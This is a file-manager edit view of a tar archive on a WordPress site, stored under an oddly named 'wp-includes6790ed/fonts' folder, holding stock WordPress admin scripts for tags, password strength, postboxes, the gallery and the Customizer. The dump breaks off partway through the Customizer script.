File manager - Edit - /home/rangceb/diohome.com/wp-includes6790ed/fonts/js.tar
Back
tags.js 0000644 00000013722 15222552267 0006055 0 ustar 00 /** * Contains logic for deleting and adding tags. * * For deleting tags it makes a request to the server to delete the tag. * For adding tags it makes a request to the server to add the tag. * * @output wp-admin/js/tags.js */ /* global ajaxurl, wpAjax, showNotice, validateForm */ jQuery( function($) { var addingTerm = false; /** * Adds an event handler to the delete term link on the term overview page. * * Cancels default event handling and event bubbling. * * @since 2.8.0 * * @return {boolean} Always returns false to cancel the default event handling. */ $( '#the-list' ).on( 'click', '.delete-tag', function() { var t = $(this), tr = t.parents('tr'), r = true, data; if ( 'undefined' != showNotice ) r = showNotice.warn(); if ( r ) { data = t.attr('href').replace(/[^?]*\?/, '').replace(/action=delete/, 'action=delete-tag'); tr.children().css('backgroundColor', '#faafaa'); // Disable pointer events and all form controls/links in the row tr.css('pointer-events', 'none'); tr.find(':input, a').prop('disabled', true).attr('tabindex', -1); /** * Makes a request to the server to delete the term that corresponds to the * delete term button. * * @param {string} r The response from the server. * * @return {void} */ $.post(ajaxurl, data, function(r){ var message; if ( '1' == r ) { $('#ajax-response').empty(); let nextFocus = tr.next( 'tr' ).find( 'a.row-title' ); let prevFocus = tr.prev( 'tr' ).find( 'a.row-title' ); // If there is neither a next row or a previous row, focus the tag input field. if ( nextFocus.length < 1 && prevFocus.length < 1 ) { nextFocus = $( '#tag-name' ).trigger( 'focus' ); } else { if ( nextFocus.length < 1 ) { nextFocus = prevFocus; } } tr.fadeOut('normal', function(){ tr.remove(); }); /** * Removes the term from the parent box and the tag cloud. * * `data.match(/tag_ID=(\d+)/)[1]` matches the term ID from the data variable. * This term ID is then used to select the relevant HTML elements: * The parent box and the tag cloud. */ $('select#parent option[value="' + data.match(/tag_ID=(\d+)/)[1] + '"]').remove(); $('a.tag-link-' + data.match(/tag_ID=(\d+)/)[1]).remove(); nextFocus.trigger( 'focus' ); message = wp.i18n.__( 'The selected tag has been deleted.' ); } else if ( '-1' == r ) { message = wp.i18n.__( 'Sorry, you are not allowed to do that.' ); $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>'); resetRowAfterFailure( tr ); } else { message = wp.i18n.__( 'An error occurred while processing your request. Please try again later.' ); $('#ajax-response').empty().append('<div class="notice notice-error"><p>' + message + '</p></div>'); resetRowAfterFailure( tr ); } wp.a11y.speak( message, 'assertive' ); }); } return false; }); /** * Restores the original UI state of a table row after an AJAX failure. * * @param {jQuery} tr The table row to reset. * @return {void} */ function resetRowAfterFailure( tr ) { tr.children().css( 'backgroundColor', '' ); tr.css( 'pointer-events', '' ); tr.find( ':input, a' ).prop( 'disabled', false ).removeAttr( 'tabindex' ); } /** * Adds a deletion confirmation when removing a tag. * * @since 4.8.0 * * @return {void} */ $( '#edittag' ).on( 'click', '.delete', function( e ) { if ( 'undefined' === typeof showNotice ) { return true; } // Confirms the deletion, a negative response means the deletion must not be executed. var response = showNotice.warn(); if ( ! response ) { e.preventDefault(); } }); /** * Adds an event handler to the form submit on the term overview page. * * Cancels default event handling and event bubbling. * * @since 2.8.0 * * @return {boolean} Always returns false to cancel the default event handling. */ $('#submit').on( 'click', function(){ var form = $(this).parents('form'); if ( addingTerm ) { // If we're adding a term, noop the button to avoid duplicate requests. return false; } addingTerm = true; form.find( '.submit .spinner' ).addClass( 'is-active' ); /** * Does a request to the server to add a new term to the database * * @param {string} r The response from the server. * * @return {void} */ $.post(ajaxurl, $('#addtag').serialize(), function(r){ var res, parent, term, indent, i; addingTerm = false; form.find( '.submit .spinner' ).removeClass( 'is-active' ); $('#ajax-response').empty(); res = wpAjax.parseAjaxResponse( r, 'ajax-response' ); if ( res.errors && res.responses[0].errors[0].code === 'empty_term_name' ) { validateForm( form ); } if ( ! res || res.errors ) { return; } parent = form.find( 'select#parent' ).val(); // If the parent exists on this page, insert it below. Else insert it at the top of the list. if ( parent > 0 && $('#tag-' + parent ).length > 0 ) { // As the parent exists, insert the version with - - - prefixed. $( '.tags #tag-' + parent ).after( res.responses[0].supplemental.noparents ); } else { // As the parent is not visible, insert the version with Parent - Child - ThisTerm. $( '.tags' ).prepend( res.responses[0].supplemental.parents ); } $('.tags .no-items').remove(); if ( form.find('select#parent') ) { // Parents field exists, Add new term to the list. term = res.responses[1].supplemental; // Create an indent for the Parent field. indent = ''; for ( i = 0; i < res.responses[1].position; i++ ) indent += ' '; form.find( 'select#parent option:selected' ).after( '<option value="' + term.term_id + '">' + indent + term.name + '</option>' ); } $('input:not([type="checkbox"]):not([type="radio"]):not([type="button"]):not([type="submit"]):not([type="reset"]):visible, textarea:visible', form).val(''); }); return false; }); }); password-strength-meter.min.js 0000644 00000002143 15222552267 0012504 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(a){var e=wp.i18n.__,n=wp.i18n.sprintf;wp.passwordStrength={meter:function(e,n,t){return Array.isArray(n)||(n=[n.toString()]),e!=t&&t&&0<t.length?5:void 0===window.zxcvbn?-1:zxcvbn(e,n).score},userInputBlacklist:function(){return window.console.log(n(e("%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code."),"wp.passwordStrength.userInputBlacklist()","5.5.0","wp.passwordStrength.userInputDisallowedList()")),wp.passwordStrength.userInputDisallowedList()},userInputDisallowedList:function(){var e,n,t,r,s=[],i=[],o=["user_login","first_name","last_name","nickname","display_name","email","url","description","weblog_title","admin_email"];for(s.push(document.title),s.push(document.URL),n=o.length,e=0;e<n;e++)0!==(r=a("#"+o[e])).length&&(s.push(r[0].defaultValue),s.push(r.val()));for(t=s.length,e=0;e<t;e++)s[e]&&(i=i.concat(s[e].replace(/\W/g," ").split(" ")));return i=a.grep(i,function(e,n){return!(""===e||e.length<4)&&a.inArray(e,i)===n})}},window.passwordStrength=wp.passwordStrength.meter}(jQuery); postbox.min.js 0000644 00000015151 15222552267 0007375 0 ustar 00 /*! This file is auto-generated */ !function(l){var a=l(document),r=wp.i18n.__;window.postboxes={handle_click:function(){var e,o=l(this),s=o.closest(".postbox"),t=s.attr("id");"dashboard_browser_nag"!==t&&(s.toggleClass("closed"),e=!s.hasClass("closed"),(o.hasClass("handlediv")?o:o.closest(".postbox").find("button.handlediv")).attr("aria-expanded",e),"press-this"!==postboxes.page&&postboxes.save_state(postboxes.page),t&&(s.hasClass("closed")||"function"!=typeof postboxes.pbshow?s.hasClass("closed")&&"function"==typeof postboxes.pbhide&&postboxes.pbhide(t):postboxes.pbshow(t)),a.trigger("postbox-toggled",s))},handleOrder:function(){var e=l(this),o=e.closest(".postbox"),s=o.attr("id"),t=o.closest(".meta-box-sortables").find(".postbox:visible"),a=t.length,t=t.index(o);if("dashboard_browser_nag"!==s)if("true"===e.attr("aria-disabled"))s=e.hasClass("handle-order-higher")?r("The box is on the first position"):r("The box is on the last position"),wp.a11y.speak(s);else{if(e.hasClass("handle-order-higher")){if(0===t)return void postboxes.handleOrderBetweenSortables("previous",e,o);o.prevAll(".postbox:visible").eq(0).before(o),e.trigger("focus"),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page)}e.hasClass("handle-order-lower")&&(t+1===a?postboxes.handleOrderBetweenSortables("next",e,o):(o.nextAll(".postbox:visible").eq(0).after(o),e.trigger("focus"),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page)))}},handleOrderBetweenSortables:function(e,o,s){var t=o.closest(".meta-box-sortables").attr("id"),a=[];l(".meta-box-sortables:visible").each(function(){a.push(l(this).attr("id"))}),1!==a.length&&(t=l.inArray(t,a),s=s.detach(),"previous"===e&&l(s).appendTo("#"+a[t-1]),"next"===e&&l(s).prependTo("#"+a[t+1]),postboxes._mark_area(),o.focus(),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page))},updateOrderButtonsProperties:function(){var e=l(".meta-box-sortables:visible:first").attr("id"),o=l(".meta-box-sortables:visible:last").attr("id"),s=l(".postbox:visible:first"),t=l(".postbox:visible:last"),a=s.attr("id"),r=t.attr("id"),i=s.closest(".meta-box-sortables").attr("id"),t=t.closest(".meta-box-sortables").attr("id"),n=l(".handle-order-higher"),d=l(".handle-order-lower");n.attr("aria-disabled","false").removeClass("hidden"),d.attr("aria-disabled","false").removeClass("hidden"),e===o&&a===r&&(n.addClass("hidden"),d.addClass("hidden")),e===i&&l(s).find(".handle-order-higher").attr("aria-disabled","true"),o===t&&l(".postbox:visible .handle-order-lower").last().attr("aria-disabled","true")},add_postbox_toggles:function(t,e){var o=l(".postbox .hndle, .postbox .handlediv"),s=l(".postbox .handle-order-higher, .postbox .handle-order-lower");this.page=t,this.init(t,e),o.on("click.postboxes",this.handle_click),s.on("click.postboxes",this.handleOrder),l(".postbox .hndle a").on("click",function(e){e.stopPropagation()}),l(".postbox a.dismiss").on("click.postboxes",function(e){var o=l(this).parents(".postbox").attr("id")+"-hide";e.preventDefault(),l("#"+o).prop("checked",!1).triggerHandler("click")}),l(".hide-postbox-tog").on("click.postboxes",function(){var e=l(this),o=e.val(),s=l("#"+o);e.prop("checked")?(s.show(),"function"==typeof postboxes.pbshow&&postboxes.pbshow(o)):(s.hide(),"function"==typeof postboxes.pbhide&&postboxes.pbhide(o)),postboxes.save_state(t),postboxes._mark_area(),a.trigger("postbox-toggled",s)}),l('.columns-prefs input[type="radio"]').on("click.postboxes",function(){var e=parseInt(l(this).val(),10);e&&(postboxes._pb_edit(e),postboxes.save_order(t))})},init:function(o,e){var s=l(document.body).hasClass("mobile"),t=l(".postbox .handlediv");l.extend(this,e||{}),l(".meta-box-sortables").sortable({placeholder:"sortable-placeholder",connectWith:".meta-box-sortables",items:".postbox",handle:".hndle",cursor:"move",delay:s?200:0,distance:2,tolerance:"pointer",forcePlaceholderSize:!0,helper:function(e,o){return o.clone().find(":input").attr("name",function(e,o){return"sort_"+parseInt(1e5*Math.random(),10).toString()+"_"+o}).end()},opacity:.65,start:function(){l("body").addClass("is-dragging-metaboxes"),l(".meta-box-sortables").sortable("refreshPositions")},stop:function(){var e=l(this);l("body").removeClass("is-dragging-metaboxes"),e.find("#dashboard_browser_nag").is(":visible")&&"dashboard_browser_nag"!=this.firstChild.id?e.sortable("cancel"):(postboxes.updateOrderButtonsProperties(),postboxes.save_order(o))},receive:function(e,o){"dashboard_browser_nag"==o.item[0].id&&l(o.sender).sortable("cancel"),postboxes._mark_area(),a.trigger("postbox-moved",o.item)}}),s&&(l(document.body).on("orientationchange.postboxes",function(){postboxes._pb_change()}),this._pb_change()),this._mark_area(),this.updateOrderButtonsProperties(),a.on("postbox-toggled",this.updateOrderButtonsProperties),t.each(function(){var e=l(this);e.attr("aria-expanded",!e.closest(".postbox").hasClass("closed"))})},save_state:function(e){var o,s;"nav-menus"!==e&&(o=l(".postbox").filter(".closed").map(function(){return this.id}).get().join(","),s=l(".postbox").filter(":hidden").map(function(){return this.id}).get().join(","),l.post(ajaxurl,{action:"closed-postboxes",closed:o,hidden:s,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:e},function(){wp.a11y.speak(r("Screen Options updated."))}))},save_order:function(e){var o=l(".columns-prefs input:checked").val()||0,s={action:"meta-box-order",_ajax_nonce:l("#meta-box-order-nonce").val(),page_columns:o,page:e};l(".meta-box-sortables").each(function(){s["order["+this.id.split("-")[0]+"]"]=l(this).sortable("toArray").join(",")}),l.post(ajaxurl,s,function(e){e.success&&wp.a11y.speak(r("The boxes order has been saved."))})},_mark_area:function(){var o=l("div.postbox:visible").length,e=l("#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible"),s=!0;e.each(function(){var e=l(this);1==o||e.children(".postbox:visible").length?(e.removeClass("empty-container"),s=!1):e.addClass("empty-container")}),postboxes.updateEmptySortablesText(e,s)},updateEmptySortablesText:function(e,o){var s=l("#dashboard-widgets").length,t=r(o?"Add boxes from the Screen Options menu":"Drag boxes here");s&&e.each(function(){l(this).hasClass("empty-container")&&l(this).attr("data-emptyString",t)})},_pb_edit:function(e){var o=l(".metabox-holder").get(0);o&&(o.className=o.className.replace(/columns-\d+/,"columns-"+e)),l(document).trigger("postboxes-columnchange")},_pb_change:function(){var e=l('label.columns-prefs-1 input[type="radio"]');switch(window.orientation){case 90:case-90:e.length&&e.is(":checked")||this._pb_edit(2);break;case 0:case 180:l("#poststuff").length?this._pb_edit(1):e.length&&e.is(":checked")||this._pb_edit(2)}},pbshow:!1,pbhide:!1}}(jQuery); gallery.min.js 0000644 00000007235 15222552267 0007342 0 ustar 00 /*! This file is auto-generated */ jQuery(function(n){var o=!1,e=function(){n("#media-items").sortable({items:"div.media-item",placeholder:"sorthelper",axis:"y",distance:2,handle:"div.filename",stop:function(){var e=n("#media-items").sortable("toArray"),i=e.length;n.each(e,function(e,t){e=o?i-e:1+e;n("#"+t+" .menu_order input").val(e)})}})},t=function(){var e=n(".menu_order_input"),t=e.length;e.each(function(e){e=o?t-e:1+e;n(this).val(e)})},i=function(e){e=e||0,n(".menu_order_input").each(function(){"0"!==this.value&&!e||(this.value="")})};n("#asc").on("click",function(e){e.preventDefault(),o=!1,t()}),n("#desc").on("click",function(e){e.preventDefault(),o=!0,t()}),n("#clear").on("click",function(e){e.preventDefault(),i(1)}),n("#showall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").hide(),n("a.describe-toggle-off, table.slidetoggle").show(),n("img.pinkynail").toggle(!1)}),n("#hideall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").show(),n("a.describe-toggle-off, table.slidetoggle").hide(),n("img.pinkynail").toggle(!0)}),e(),i(),1<n("#media-items>*").length&&(e=wpgallery.getWin(),n("#save-all, #gallery-settings").show(),void 0!==e.tinyMCE&&e.tinyMCE.activeEditor&&!e.tinyMCE.activeEditor.isHidden()?(wpgallery.mcemode=!0,wpgallery.init()):n("#insert-gallery").show())}),window.tinymce=null,window.wpgallery={mcemode:!1,editor:{},dom:{},is_update:!1,el:{},I:function(e){return document.getElementById(e)},init:function(){var e,t,i,n,o=this,l=o.getWin();if(o.mcemode){for(e=(""+document.location.search).replace(/^\?/,"").split("&"),t={},i=0;i<e.length;i++)n=e[i].split("="),t[unescape(n[0])]=unescape(n[1]);t.mce_rdomain&&(document.domain=t.mce_rdomain),window.tinymce=l.tinymce,window.tinyMCE=l.tinyMCE,o.editor=tinymce.EditorManager.activeEditor,o.setup()}},getWin:function(){return window.dialogArguments||opener||parent||top},setup:function(){var e,t,i,n=this,o=n.editor;if(n.mcemode){if(n.el=o.selection.getNode(),"IMG"!==n.el.nodeName||!o.dom.hasClass(n.el,"wpGallery")){if(!(i=o.dom.select("img.wpGallery"))||!i[0])return"1"===getUserSetting("galfile")&&(n.I("linkto-file").checked="checked"),"1"===getUserSetting("galdesc")&&(n.I("order-desc").checked="checked"),getUserSetting("galcols")&&(n.I("columns").value=getUserSetting("galcols")),getUserSetting("galord")&&(n.I("orderby").value=getUserSetting("galord")),void jQuery("#insert-gallery").show();n.el=i[0]}i=o.dom.getAttrib(n.el,"title"),(i=o.dom.decode(i))?(jQuery("#update-gallery").show(),n.is_update=!0,o=i.match(/columns=['"]([0-9]+)['"]/),e=i.match(/link=['"]([^'"]+)['"]/i),t=i.match(/order=['"]([^'"]+)['"]/i),i=i.match(/orderby=['"]([^'"]+)['"]/i),e&&e[1]&&(n.I("linkto-file").checked="checked"),t&&t[1]&&(n.I("order-desc").checked="checked"),o&&o[1]&&(n.I("columns").value=""+o[1]),i&&i[1]&&(n.I("orderby").value=i[1])):jQuery("#insert-gallery").show()}},update:function(){var e=this,t=e.editor,i="";e.mcemode&&e.is_update?"IMG"===e.el.nodeName&&(i=(i=t.dom.decode(t.dom.getAttrib(e.el,"title"))).replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi,""),i+=e.getSettings(),t.dom.setAttrib(e.el,"title",i),e.getWin().tb_remove()):(t="[gallery"+e.getSettings()+"]",e.getWin().send_to_editor(t))},getSettings:function(){var e=this.I,t="";return e("linkto-file").checked&&(t+=' link="file"',setUserSetting("galfile","1")),e("order-desc").checked&&(t+=' order="DESC"',setUserSetting("galdesc","1")),3!==e("columns").value&&(t+=' columns="'+e("columns").value+'"',setUserSetting("galcols",e("columns").value)),"menu_order"!==e("orderby").value&&(t+=' orderby="'+e("orderby").value+'"',setUserSetting("galord",e("orderby").value)),t}}; customize-controls.min.js 0000644 00000333302 15222552267 0011563 0 ustar 00 /*! This file is auto-generated */ !function(J){var a,s,t,e,n,i,Y=wp.customize,o=window.matchMedia("(prefers-reduced-motion: reduce)"),r=o.matches;o.addEventListener("change",function(e){r=e.matches}),Y.OverlayNotification=Y.Notification.extend({loading:!1,initialize:function(e,t){var n=this;Y.Notification.prototype.initialize.call(n,e,t),n.containerClasses+=" notification-overlay",n.loading&&(n.containerClasses+=" notification-loading")},render:function(){var e=Y.Notification.prototype.render.call(this);return e.on("keydown",_.bind(this.handleEscape,this)),e},handleEscape:function(e){var t=this;27===e.which&&(e.stopPropagation(),t.dismissible)&&t.parent&&t.parent.remove(t.code)}}),Y.Notifications=Y.Values.extend({alt:!1,defaultConstructor:Y.Notification,initialize:function(e){var t=this;Y.Values.prototype.initialize.call(t,e),_.bindAll(t,"constrainFocus"),t._addedIncrement=0,t._addedOrder={},t.bind("add",function(e){t.trigger("change",e)}),t.bind("removed",function(e){t.trigger("change",e)})},count:function(){return _.size(this._value)},add:function(e,t){var n,i=this,t="string"==typeof e?(n=e,t):(n=e.code,e);return i.has(n)||(i._addedIncrement+=1,i._addedOrder[n]=i._addedIncrement),Y.Values.prototype.add.call(i,n,t)},remove:function(e){return delete this._addedOrder[e],Y.Values.prototype.remove.call(this,e)},get:function(e){var a,o=this,t=_.values(o._value);return _.extend({sort:!1},e).sort&&(a={error:4,warning:3,success:2,info:1},t.sort(function(e,t){var n=0,i=0;return(n=_.isUndefined(a[e.type])?n:a[e.type])!==(i=_.isUndefined(a[t.type])?i:a[t.type])?i-n:o._addedOrder[t.code]-o._addedOrder[e.code]})),t},render:function(){var e,t,n,i=this,a=!1,o=[],s={};i.container&&i.container.length&&(e=i.get({sort:!0}),i.container.toggle(0!==e.length),i.container.is(i.previousContainer)&&_.isEqual(e,i.previousNotifications)||((n=i.container.children("ul").first()).length||(n=J("<ul></ul>"),i.container.append(n)),n.find("> [data-code]").remove(),_.each(i.previousNotifications,function(e){s[e.code]=e}),_.each(e,function(e){var t;!wp.a11y||s[e.code]&&_.isEqual(e.message,s[e.code].message)||wp.a11y.speak(e.message,"assertive"),t=J(e.render()),e.container=t,n.append(t),e.extended(Y.OverlayNotification)&&o.push(e)}),(t=Boolean(o.length))!==(a=i.previousNotifications?Boolean(_.find(i.previousNotifications,function(e){return e.extended(Y.OverlayNotification)})):a)&&(J(document.body).toggleClass("customize-loading",t),i.container.toggleClass("has-overlay-notifications",t),t?(i.previousActiveElement=document.activeElement,J(document).on("keydown",i.constrainFocus)):J(document).off("keydown",i.constrainFocus)),t?(i.focusContainer=o[o.length-1].container,i.focusContainer.prop("tabIndex",-1),((a=i.focusContainer.find(":focusable")).length?a.first():i.focusContainer).focus()):i.previousActiveElement&&(J(i.previousActiveElement).trigger("focus"),i.previousActiveElement=null),i.previousNotifications=e,i.previousContainer=i.container,i.trigger("rendered")))},constrainFocus:function(e){var t,n=this;e.stopPropagation(),9===e.which&&(0===(t=n.focusContainer.find(":focusable")).length&&(t=n.focusContainer),!J.contains(n.focusContainer[0],e.target)||!J.contains(n.focusContainer[0],document.activeElement)||t.last().is(e.target)&&!e.shiftKey?(e.preventDefault(),t.first().focus()):t.first().is(e.target)&&e.shiftKey&&(e.preventDefault(),t.last().focus()))}}),Y.Setting=Y.Value.extend({defaults:{transport:"refresh",dirty:!1},initialize:function(e,t,n){var i=this,n=_.extend({previewer:Y.previewer},i.defaults,n||{});Y.Value.prototype.initialize.call(i,t,n),i.id=e,i._dirty=n.dirty,i.notifications=new Y.Notifications,i.bind(i.preview)},preview:function(){var e=this,t=e.transport;"postMessage"===(t="postMessage"!==t||Y.state("previewerAlive").get()?t:"refresh")?e.previewer.send("setting",[e.id,e()]):"refresh"===t&&e.previewer.refresh()},findControls:function(){var n=this,i=[];return Y.control.each(function(t){_.each(t.settings,function(e){e.id===n.id&&i.push(t)})}),i}}),Y._latestRevision=0,Y._lastSavedRevision=0,Y._latestSettingRevisions={},Y.bind("change",function(e){Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision}),Y.bind("ready",function(){Y.bind("add",function(e){e._dirty&&(Y._latestRevision+=1,Y._latestSettingRevisions[e.id]=Y._latestRevision)})}),Y.dirtyValues=function(n){var i={};return Y.each(function(e){var t;e._dirty&&(t=Y._latestSettingRevisions[e.id],Y.state("changesetStatus").get()&&n&&n.unsaved&&(_.isUndefined(t)||t<=Y._lastSavedRevision)||(i[e.id]=e.get()))}),i},Y.requestChangesetUpdate=function(n,e){var t,i={},a=new J.Deferred;if(0!==Y.state("processing").get())a.reject("already_processing");else if(e=_.extend({title:null,date:null,autosave:!1,force:!1},e),n&&_.extend(i,n),_.each(Y.dirtyValues({unsaved:!0}),function(e,t){n&&null===n[t]||(i[t]=_.extend({},i[t]||{},{value:e}))}),Y.trigger("changeset-save",i,e),!e.force&&_.isEmpty(i)&&null===e.title&&null===e.date)a.resolve({});else{if(e.status)return a.reject({code:"illegal_status_in_changeset_update"}).promise();if(e.date&&e.autosave)return a.reject({code:"illegal_autosave_with_date_gmt"}).promise();Y.state("processing").set(Y.state("processing").get()+1),a.always(function(){Y.state("processing").set(Y.state("processing").get()-1)}),delete(t=Y.previewer.query({excludeCustomizedSaved:!0})).customized,_.extend(t,{nonce:Y.settings.nonce.save,customize_theme:Y.settings.theme.stylesheet,customize_changeset_data:JSON.stringify(i)}),null!==e.title&&(t.customize_changeset_title=e.title),null!==e.date&&(t.customize_changeset_date=e.date),!1!==e.autosave&&(t.customize_changeset_autosave="true"),Y.trigger("save-request-params",t),(e=wp.ajax.post("customize_save",t)).done(function(e){var n={};Y._lastSavedRevision=Math.max(Y._latestRevision,Y._lastSavedRevision),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),a.resolve(e),Y.trigger("changeset-saved",e),e.setting_validities&&_.each(e.setting_validities,function(e,t){!0===e&&_.isObject(i[t])&&!_.isUndefined(i[t].value)&&(n[t]=i[t].value)}),Y.previewer.send("changeset-saved",_.extend({},e,{saved_changeset_values:n}))}),e.fail(function(e){a.reject(e),Y.trigger("changeset-error",e)}),e.always(function(e){e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities})})}return a.promise()},Y.utils.bubbleChildValueChanges=function(n,e){J.each(e,function(e,t){n[t].bind(function(e,t){n.parent&&e!==t&&n.parent.trigger("change",n)})})},o=function(e){var t,n,i=this,a=function(){var e;i.extended(Y.Panel)&&1<(n=i.sections()).length&&n.forEach(function(e){e.expanded()&&e.collapse()}),e=(i.extended(Y.Panel)||i.extended(Y.Section))&&i.expanded&&i.expanded()?i.contentContainer:i.container,(n=0===(n=e.find(".control-focus:first")).length?e.find("input, select, textarea, button, object, a[href], [tabindex]").filter(":visible").first():n).focus()};(e=e||{}).completeCallback?(t=e.completeCallback,e.completeCallback=function(){a(),t()}):e.completeCallback=a,Y.state("paneVisible").set(!0),i.expand?i.expand(e):e.completeCallback()},Y.utils.prioritySort=function(e,t){return e.priority()===t.priority()&&"number"==typeof e.params.instanceNumber&&"number"==typeof t.params.instanceNumber?e.params.instanceNumber-t.params.instanceNumber:e.priority()-t.priority()},Y.utils.isKeydownButNotEnterEvent=function(e){return"keydown"===e.type&&13!==e.which},Y.utils.areElementListsEqual=function(e,t){return e.length===t.length&&-1===_.indexOf(_.map(_.zip(e,t),function(e){return J(e[0]).is(e[1])}),!1)},Y.utils.highlightButton=function(e,t){var n,i="button-see-me",a=!1;function o(){a=!0}return(n=_.extend({delay:0,focusTarget:e},t)).focusTarget.on("focusin",o),setTimeout(function(){n.focusTarget.off("focusin",o),a||(e.addClass(i),e.one("animationend",function(){e.removeClass(i)}))},n.delay),o},Y.utils.getCurrentTimestamp=function(){var e=_.now(),t=new Date(Y.settings.initialServerDate.replace(/-/g,"/")),e=e-Y.settings.initialClientTimestamp;return e+=Y.settings.initialClientTimestamp-Y.settings.initialServerTimestamp,t.setTime(t.getTime()+e),t.getTime()},Y.utils.getRemainingTime=function(e){e=e instanceof Date?e.getTime():"string"==typeof e?new Date(e.replace(/-/g,"/")).getTime():e,e-=Y.utils.getCurrentTimestamp();return Math.ceil(e/1e3)},t=document.createElement("div"),e={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"},n=_.find(_.keys(e),function(e){return!_.isUndefined(t.style[e])}),s=n?e[n]:null,a=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaultExpandedArguments:{duration:"fast",completeCallback:J.noop},containerType:"container",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null},initialize:function(e,t){var n=this;n.id=e,a.instanceCounter||(a.instanceCounter=0),a.instanceCounter++,J.extend(n,{params:_.defaults(t.params||t,n.defaults)}),n.params.instanceNumber||(n.params.instanceNumber=a.instanceCounter),n.notifications=new Y.Notifications,n.templateSelector=n.params.templateId||"customize-"+n.containerType+"-"+n.params.type,n.container=J(n.params.content),0===n.container.length&&(n.container=J(n.getContainer())),n.headContainer=n.container,n.contentContainer=n.getContent(),n.container=n.container.add(n.contentContainer),n.deferred={embedded:new J.Deferred},n.priority=new Y.Value,n.active=new Y.Value,n.activeArgumentsQueue=[],n.expanded=new Y.Value,n.expandedArgumentsQueue=[],n.active.bind(function(e){var t=n.activeArgumentsQueue.shift(),t=J.extend({},n.defaultActiveArguments,t);e=e&&n.isContextuallyActive(),n.onChangeActive(e,t)}),n.expanded.bind(function(e){var t=n.expandedArgumentsQueue.shift(),t=J.extend({},n.defaultExpandedArguments,t);n.onChangeExpanded(e,t)}),n.deferred.embedded.done(function(){n.setupNotifications(),n.attachEvents()}),Y.utils.bubbleChildValueChanges(n,["priority","active"]),n.priority.set(n.params.priority),n.active.set(n.params.active),n.expanded.set(!1)},getNotificationsContainerElement:function(){return this.contentContainer.find(".customize-control-notifications-container:first")},setupNotifications:function(){var e,t=this;t.notifications.container=t.getNotificationsContainerElement(),t.expanded.bind(e=function(){t.expanded.get()&&t.notifications.render()}),e(),t.notifications.bind("change",_.debounce(e))},ready:function(){},_children:function(t,e){var n=this,i=[];return Y[e].each(function(e){e[t].get()===n.id&&i.push(e)}),i.sort(Y.utils.prioritySort),i},isContextuallyActive:function(){throw new Error("Container.isContextuallyActive() must be overridden in a subclass.")},onChangeActive:function(e,t){var n,i=this,a=i.headContainer;t.unchanged?t.completeCallback&&t.completeCallback():(n="resolved"===Y.previewer.deferred.active.state()?t.duration:0,i.extended(Y.Panel)&&(Y.panel.each(function(e){e!==i&&e.expanded()&&(n=0)}),e||_.each(i.sections(),function(e){e.collapse({duration:0})})),J.contains(document,a.get(0))?e?a.slideDown(n,t.completeCallback):i.expanded()?i.collapse({duration:n,completeCallback:function(){a.slideUp(n,t.completeCallback)}}):a.slideUp(n,t.completeCallback):(a.toggle(e),t.completeCallback&&t.completeCallback()))},_toggleActive:function(e,t){return t=t||{},e&&this.active.get()||!e&&!this.active.get()?(t.unchanged=!0,this.onChangeActive(this.active.get(),t),!1):(t.unchanged=!1,this.activeArgumentsQueue.push(t),this.active.set(e),!0)},activate:function(e){return this._toggleActive(!0,e)},deactivate:function(e){return this._toggleActive(!1,e)},onChangeExpanded:function(){throw new Error("Must override with subclass.")},_toggleExpanded:function(e,t){var n,i=this;return n=(t=t||{}).completeCallback,!(e&&!i.active()||(Y.state("paneVisible").set(!0),t.completeCallback=function(){n&&n.apply(i,arguments),e?i.container.trigger("expanded"):i.container.trigger("collapsed")},e&&i.expanded.get()||!e&&!i.expanded.get()?(t.unchanged=!0,i.onChangeExpanded(i.expanded.get(),t),1):(t.unchanged=!1,i.expandedArgumentsQueue.push(t),i.expanded.set(e),0)))},expand:function(e){return this._toggleExpanded(!0,e)},collapse:function(e){return this._toggleExpanded(!1,e)},_animateChangeExpanded:function(t){var a,o,n,i;!s||r?_.defer(function(){t&&t()}):(o=(a=this).contentContainer,i=o.closest(".wp-full-overlay").add(o),a.panel&&""!==a.panel()&&!Y.panel(a.panel()).contentContainer.hasClass("skip-transition")||(i=i.add("#customize-info, .customize-pane-parent")),n=function(e){2===e.eventPhase&&J(e.target).is(o)&&(o.off(s,n),i.removeClass("busy"),t)&&t()},o.on(s,n),i.addClass("busy"),_.defer(function(){var e=o.closest(".wp-full-overlay-sidebar-content"),t=e.scrollTop(),n=o.data("previous-scrollTop")||0,i=a.expanded();i&&0<t?(o.css("top",t+"px"),o.data("previous-scrollTop",t)):!i&&0<t+n&&(o.css("top",n-t+"px"),e.scrollTop(n))}))},focus:o,getContainer:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector).length?wp.template(e.templateSelector):wp.template("customize-"+e.containerType+"-default");return t&&e.container?t(_.extend({id:e.id},e.params)).toString().trim():"<li></li>"},getContent:function(){var e=this.container,t=e.find(".accordion-section-content, .control-panel-content").first(),n="sub-"+e.attr("id"),i=n,a=e.attr("aria-owns");return e.attr("aria-owns",i=a?i+" "+a:i),t.detach().attr({id:n,class:"customize-pane-child "+t.attr("class")+" "+e.attr("class")})}}),Y.Section=a.extend({containerType:"section",containerParent:"#customize-theme-controls",containerPaneParent:".customize-pane-parent",defaults:{title:"",description:"",priority:100,type:"default",content:null,active:!0,instanceNumber:null,panel:null,customizeAction:""},initialize:function(e,t){var 